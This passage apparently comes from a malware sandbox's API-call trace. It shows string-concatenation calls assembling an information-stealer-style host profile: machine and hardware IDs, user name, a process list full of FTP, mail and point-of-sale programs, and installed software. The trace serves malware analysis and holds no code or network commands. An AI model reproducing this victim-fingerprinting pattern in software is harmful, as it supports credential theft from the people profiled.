really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 ["
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001"
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- 